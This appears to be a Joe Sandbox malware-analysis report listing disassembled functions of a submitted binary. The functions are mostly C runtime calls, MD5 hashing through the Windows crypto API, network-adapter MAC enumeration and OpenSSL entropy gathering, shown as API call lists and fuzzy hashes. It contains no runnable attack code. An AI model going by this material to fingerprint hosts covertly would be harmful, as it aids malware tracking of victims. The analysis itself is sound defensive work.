__cinit.LIBCMT ref: 0042405D
__amsg_exit.LIBCMT ref: 00424068
__wwincmdln.LIBCMT ref: 0042406E

Part of subcall function 00427CEC: _doexit.LIBCMT ref: 00427CF6

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: __amsg_exit$__cinit__wsetenvp__wwincmdln_doexit
String ID:
API String ID: 2587630013-0
Opcode ID: 09217920513a334b6f79b9e541313f96d920471f94f8c93875b1f7a29f43a62f
Instruction ID: 7082b750ddc29103f3c984cb6fc30cb2f1280ee8f42cb5262a6b676f22e3f134
Opcode Fuzzy Hash: 09217920513a334b6f79b9e541313f96d920471f94f8c93875b1f7a29f43a62f
Instruction Fuzzy Hash: F6F0F460709331A9DA3173B37A12B5F1654DF81768FE0054FF600A61C3DE9C8981856E

Uniqueness

Uniqueness Score: -1.00%

Function 00427B0B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 7
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 00427B11

Part of subcall function 00427AD7: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,i;B,00427B16,i;B,?,00428BCA,000000FF,0000001E,00507BD0,00000008,00428B0E,i;B,i;B), ref: 00427AE6
Part of subcall function 00427AD7: GetProcAddress.KERNEL32(?,CorExitProcess), ref: 00427AF8

ExitProcess.KERNEL32 ref: 00427B1A

Strings

i;B, xrefs: 00427B0E

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID: i;B
API String ID: 2427264223-472376889
Opcode ID: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction ID: 59367741208a4d0b8125be5957acfda0e57e61d39344a7bf1a3f5abf2379cf84
Opcode Fuzzy Hash: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction Fuzzy Hash: 0DB09230404108BBCB052F52EC0A85D3F29EB003A0B408026F90848031EBB2AA919AC8

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF50 Relevance: 4.6, APIs: 3, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 0040EF69

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00750000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040EF85
_memset.LIBCMT ref: 0040EF9B

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _malloc$AllocateHeap_memset
String ID:
API String ID: 3655941445-0
Opcode ID: 030ce5304eb8d874ea407c5a52bd42f85663f8070df60884b58911fa6b375070
Instruction ID: 5fa84ec4042e21db229fa26042ce02b7cce951e2f5e2b33d0654eda62efe4b83
Opcode Fuzzy Hash: 030ce5304eb8d874ea407c5a52bd42f85663f8070df60884b58911fa6b375070
Instruction Fuzzy Hash: 06110631600624EFCB10DF99D881A5ABBB5FF89314F2445A9E9489F396D731B912CBC1

Uniqueness

Uniqueness Score: -1.00%

Function 0042FB64 Relevance: 3.0, APIs: 2, Instructions: 17
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__lock.LIBCMT ref: 0042FB7B

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(i;B,?,004250D7,0000000D), ref: 00428B22

__tzset_nolock.LIBCMT ref: 0042FB8E

Part of subcall function 0042FE47: __lock.LIBCMT ref: 0042FE6C
Part of subcall function 0042FE47: ____lc_codepage_func.LIBCMT ref: 0042FEB3
Part of subcall function 0042FE47: __getenv_helper_nolock.LIBCMT ref: 0042FED4
Part of subcall function 0042FE47: _free.LIBCMT ref: 0042FF07
Part of subcall function 0042FE47: _strlen.LIBCMT ref: 0042FF0E
Part of subcall function 0042FE47: __malloc_crt.LIBCMT ref: 0042FF15

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: __lock$CriticalEnterSection____lc_codepage_func__amsg_exit__getenv_helper_nolock__malloc_crt__mtinitlocknum__tzset_nolock_free_strlen
String ID:
API String ID: 1282695788-0
Opcode ID: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction ID: e2ddc43a93f61bf79f0790849a809cb79cc8f4f227a559e0d4967367be19fad2
Opcode Fuzzy Hash: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction Fuzzy Hash: 69E0BF35E41664DAD620A7A2F91B75C7570AB14329FD0D16F9110111D28EBC15C8DA2E

Uniqueness

Uniqueness Score: -1.00%

Function 00427F3D Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_doexit.LIBCMT ref: 00427F47

Part of subcall function 00427E0E: __lock.LIBCMT ref: 00427E1C
Part of subcall function 00427E0E: DecodePointer.KERNEL32(00507B08,0000001C,00427CFB,00423B69,00000001,00000000,i;B,00427C49,000000FF,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E5B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E6C
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E85
Part of subcall function 00427E0E: DecodePointer.KERNEL32(-00000004,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E95
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E9B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EB1
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EBC

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$Encode$__lock_doexit
String ID:
API String ID: 2158581194-0
Opcode ID: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction ID: a7e7560d2adc556c6fb323ffd13f600db444db9a7111c1ec19eeb8b3048b151f
Opcode Fuzzy Hash: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction Fuzzy Hash: ABB01271A8430C33DA113642FC03F053B0C4740B54F610071FA0C2C5E1A593B96040DD

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00410FC0 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 149encryptionstringCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 00411010
__CxxThrowException@8.LIBCMT ref: 00411026

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0041103B
__CxxThrowException@8.LIBCMT ref: 00411051
lstrlenA.KERNEL32(?,00000000), ref: 00411059
CryptHashData.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00411064
__CxxThrowException@8.LIBCMT ref: 0041107A
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,00000000,?,00000000), ref: 00411099
__CxxThrowException@8.LIBCMT ref: 004110AB
_memset.LIBCMT ref: 004110CA
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 004110DE
__CxxThrowException@8.LIBCMT ref: 004110F0
_malloc.LIBCMT ref: 00411100
_memset.LIBCMT ref: 0041110B
_sprintf.LIBCMT ref: 0041112E
lstrcatA.KERNEL32(?,?), ref: 0041113C
CryptDestroyHash.ADVAPI32(00000000), ref: 00411154
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0041115F

Strings

%.2X, xrefs: 00411128

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam_memset$AcquireCreateDataDestroyExceptionRaiseRelease_malloc_sprintflstrcatlstrlen
String ID: %.2X
API String ID: 2451520719-213608013
Opcode ID: 3f68754a9cad00adfa5318296b42566dd369576488fe948bfb568d47563decbb
Instruction ID: afcee35d8fffc0279d29cc69f214b0122642615a52b78f57353c1cfd92a6c2ef
Opcode Fuzzy Hash: 3f68754a9cad00adfa5318296b42566dd369576488fe948bfb568d47563decbb
Instruction Fuzzy Hash: 92516171E40219BBDB10DBE5DC46FEFBBB8FB08704F14012AFA05B6291D77959018BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00411900 Relevance: 29.8, APIs: 16, Strings: 1, Instructions: 95stringmemorywindowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00411915
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000), ref: 00411932
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411941
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411948
LocalAlloc.KERNEL32(00000040,00000000,?,00000400,?,00000000,00000000), ref: 00411956
lstrcpyW.KERNEL32(00000000,?), ref: 00411962
lstrcatW.KERNEL32(00000000, failed with error ), ref: 00411974
lstrcatW.KERNEL32(00000000,?), ref: 0041198B
lstrcatW.KERNEL32(00000000,00500260), ref: 00411993
lstrcatW.KERNEL32(00000000,?), ref: 00411999
lstrlenW.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 004119A3
_memset.LIBCMT ref: 004119B8
lstrcpynW.KERNEL32(?,00000000,00000400,?,00000400,?,00000000,00000000), ref: 004119DC

Part of subcall function 00412BA0: lstrlenW.KERNEL32(?), ref: 00412BC9

LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411A01
LocalFree.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 00411A04

Strings

failed with error , xrefs: 0041196E

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen$Local$Free$AllocErrorFormatLastMessage_memsetlstrcpylstrcpyn
String ID: failed with error
API String ID: 4182478520-946485432
Opcode ID: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
Instruction ID: 1677776e610180b78075291f83559cfdcc99dc463041ebd32873df59a21ecb07
Opcode Fuzzy Hash: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
Instruction Fuzzy Hash: 0021FB31A40214B7D7516B929C85FAE3A38EF45B11F100025FB09B61D0DE741D419BED

Uniqueness

Uniqueness Score: -1.00%

Function 0040F730 Relevance: 29.2, APIs: 19, Instructions: 732COMMON

Download Yara Rule

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32(?), ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411AEE

PathFindFileNameW.SHLWAPI(?,?,00000000,000000FF), ref: 0040F900
_memmove.LIBCMT ref: 0040F9EA
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0040FA51
_memmove.LIBCMT ref: 0040FADA

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: fcdb3c65d237faf0aacdec3d6eb45a8278326906d3b88b2002ac43bdb553a6d9
Instruction ID: a2fe25dd57492d494e78aebb36a96054b80ce25314fb01b08d1ce03a62da89f0
Opcode Fuzzy Hash: fcdb3c65d237faf0aacdec3d6eb45a8278326906d3b88b2002ac43bdb553a6d9
Instruction Fuzzy Hash: D652A271D00208DBDF20DFA4D985BDEB7B4BF05308F10817AE419B7291D779AA89CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040E870 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000), ref: 0040E8CE
__CxxThrowException@8.LIBCMT ref: 0040E8E4

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040E8F9
__CxxThrowException@8.LIBCMT ref: 0040E90F
CryptHashData.ADVAPI32(00000000,00000000,?,00000000), ref: 0040E928
__CxxThrowException@8.LIBCMT ref: 0040E93E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040E95D
__CxxThrowException@8.LIBCMT ref: 0040E96F
_memset.LIBCMT ref: 0040E98E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040E9A2
__CxxThrowException@8.LIBCMT ref: 0040E9B4
_sprintf.LIBCMT ref: 0040E9D3

Strings

%.2X, xrefs: 0040E9CD

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: CryptException@8Throw$Hash$Param$AcquireContextCreateDataExceptionRaise_memset_sprintf
String ID: %.2X
API String ID: 1084002244-213608013
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 6020eefb82f776eec2353dc0ff897aa1862dcd4ecc30860888fbdadc8ba65bc1
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 835173B1E40209EBDF11DFA2DC46FEEBB78EB04704F10452AF501B61C1D7796A158BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040EAA0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 159encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000), ref: 0040EB01
__CxxThrowException@8.LIBCMT ref: 0040EB17

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040EB2C
__CxxThrowException@8.LIBCMT ref: 0040EB42
CryptHashData.ADVAPI32(00000000,?,?,00000000), ref: 0040EB4E
__CxxThrowException@8.LIBCMT ref: 0040EB64
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,?,00000000), ref: 0040EB83
__CxxThrowException@8.LIBCMT ref: 0040EB95
_memset.LIBCMT ref: 0040EBB4
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040EBC8
__CxxThrowException@8.LIBCMT ref: 0040EBDA
_sprintf.LIBCMT ref: 0040EBF4
CryptDestroyHash.ADVAPI32(00000000), ref: 0040EC44
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0040EC4F

Strings

%.2X, xrefs: 0040EBEE

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam$AcquireCreateDataDestroyExceptionRaiseRelease_memset_sprintf
String ID: %.2X
API String ID: 1637485200-213608013
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 14d7d02cf3c54262bdef7e6fa07b3cadf7b2b7504ea62fb0b9d39e8d8664034d
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: A6515371E40209ABDF11DBA6DC46FEFBBB8EB04704F14052AF505B62C1D77969058BA8

Uniqueness

Uniqueness Score: -1.00%

Function 004822E0 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 127windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004549A0: GetModuleHandleA.KERNEL32(?,?,00000001,?,00454B72), ref: 004549C7
Part of subcall function 004549A0: GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
Part of subcall function 004549A0: GetDesktopWindow.USER32 ref: 004549FB
Part of subcall function 004549A0: GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
Part of subcall function 004549A0: GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
Part of subcall function 004549A0: _wcsstr.LIBCMT ref: 00454A8A

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00482316
CreateCompatibleDC.GDI32(00000000), ref: 00482323
GetDeviceCaps.GDI32(00000000,00000008), ref: 00482338
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00482341
CreateCompatibleBitmap.GDI32(00000000,?,00000010), ref: 0048234E
SelectObject.GDI32(00000000,00000000), ref: 0048235C
GetObjectA.GDI32(00000000,00000018,?), ref: 0048236E
BitBlt.GDI32(?,00000000,00000000,?,00000010,?,00000000,00000000,00CC0020), ref: 004823CA
GetBitmapBits.GDI32(?,?,00000000), ref: 004823D6
SelectObject.GDI32(?,?), ref: 00482436
DeleteObject.GDI32(00000000), ref: 0048243D
DeleteDC.GDI32(?), ref: 0048244A
DeleteDC.GDI32(?), ref: 00482450

Strings

.\crypto\rand\rand_win.c, xrefs: 00482383
DISPLAY, xrefs: 00482311

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Object$CreateDelete$BitmapCapsCompatibleDeviceInformationSelectUserWindow$AddressBitsDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: .\crypto\rand\rand_win.c$DISPLAY
API String ID: 151064509-1805842116
Opcode ID: 1b801d1ffbd88b82039091f0604768a30c592b3e6827ab76a1e426d578563625
Instruction ID: 00d76d2b57e2ae43ffa0e146b327d2d4306243c0a97269805a4caa25bb15a565
Opcode Fuzzy Hash: 1b801d1ffbd88b82039091f0604768a30c592b3e6827ab76a1e426d578563625
Instruction Fuzzy Hash: 0441BB71944300EBD3105BB6DC86F6FBBF8FF85B14F00052EFA54962A1E77598008B6A

Uniqueness

Uniqueness Score: -1.00%

Function 0040E670 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040E67F

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00750000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040E68B
_wprintf.LIBCMT ref: 0040E69E
_free.LIBCMT ref: 0040E6A4

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6B9
_free.LIBCMT ref: 0040E6C5
_malloc.LIBCMT ref: 0040E6CD
GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6E0
_sprintf.LIBCMT ref: 0040E720
_wprintf.LIBCMT ref: 0040E732
_wprintf.LIBCMT ref: 0040E73C
_free.LIBCMT ref: 0040E745

Strings

Address: %s, mac: %s, xrefs: 0040E72D
Error allocating memory needed to call GetAdaptersinfo, xrefs: 0040E699
%02X:%02X:%02X:%02X:%02X:%02X, xrefs: 0040E71A

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$AdaptersHeapInfo$AllocateErrorFreeLast_sprintf
String ID: %02X:%02X:%02X:%02X:%02X:%02X$Address: %s, mac: %s$Error allocating memory needed to call GetAdaptersinfo
API String ID: 3901070236-1604013687
Opcode ID: 7f15536ece751806a483f3f034c79f9e821e57de7f78c7461c513ac46dc48599
Instruction ID: 1f0497fb971ee708fef02f82321736b2a43cb7681c3985dbc626545fd8dc3fd8
Opcode Fuzzy Hash: 7f15536ece751806a483f3f034c79f9e821e57de7f78c7461c513ac46dc48599
Instruction Fuzzy Hash: 251127B2A045647AC27162F76C02FFF3ADC8F45705F84056BFA98E1182EA5D5A0093B9

Uniqueness

Uniqueness Score: -1.00%

Function 00410160 Relevance: 26.2, APIs: 17, Instructions: 660COMMON

Download Yara Rule

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32(?), ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411AEE

PathFindFileNameW.SHLWAPI(?,?,00000000), ref: 00410346
_memmove.LIBCMT ref: 00410427
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0041048E
_memmove.LIBCMT ref: 00410514

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: 2c535a9ce1b4a658066c3b574bdbe8b0733bbf1e4505cf72e2a34136cfdfc2a6
Instruction ID: 4d52a43d2e6eeb98f1fe08e229a92f838bd03635929547cf71b8ba18611ce854
Opcode Fuzzy Hash: 2c535a9ce1b4a658066c3b574bdbe8b0733bbf1e4505cf72e2a34136cfdfc2a6
Instruction Fuzzy Hash: EF429F70D00208DBDF14DFA4C985BDEB7F5BF04308F20456EE415A7291E7B9AA85CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040FB98 Relevance: 15.3, APIs: 10, Instructions: 266stringCOMMON

Download Yara Rule

APIs

PathAppendW.SHLWAPI(?,?), ref: 0040FBD5
_memmove.LIBCMT ref: 0040FC3C
PathFileExistsW.SHLWAPI(?,?,?,?), ref: 0040FC63
_malloc.LIBCMT ref: 0040FC72
lstrcpyW.KERNEL32(00000000,?), ref: 0040FC8C
lstrcatW.KERNEL32(00000000,?), ref: 0040FCA5
_free.LIBCMT ref: 0040FCD7

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1645209614.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: Path$AppendExistsFile_free_malloc_memmovelstrcatlstrcpy
String ID:
API String ID: 3232302685-0
Opcode ID: 343a40c2320f36c0a67bd0d09e6816cdff555a949c20798249c71fe74911a55b
Instruction ID: e959444c36dd18fc08dff6604914d564c76187b82df2896015b22d61e5b1ffa1
Opcode Fuzzy Hash: 343a40c2320f36c0a67bd0d09e6816cdff555a949c20798249c71fe74911a55b
Instruction Fuzzy Hash: 09B19F70D00208DBDF20DFA4D945BDEB7B5BF15308F50407AE40AAB291E7799A89CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 004382A2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 004382B9
_wcscmp.LIBCMT ref: 004382CA
GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,00438568,?,00000000), ref: 004382E6
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,00438568,?,00000000), ref: 00438310

Strings

OCP, xrefs: 004382C4
ACP, xrefs: 004382B3

Memory Dump Source

Source File: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1645209614.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
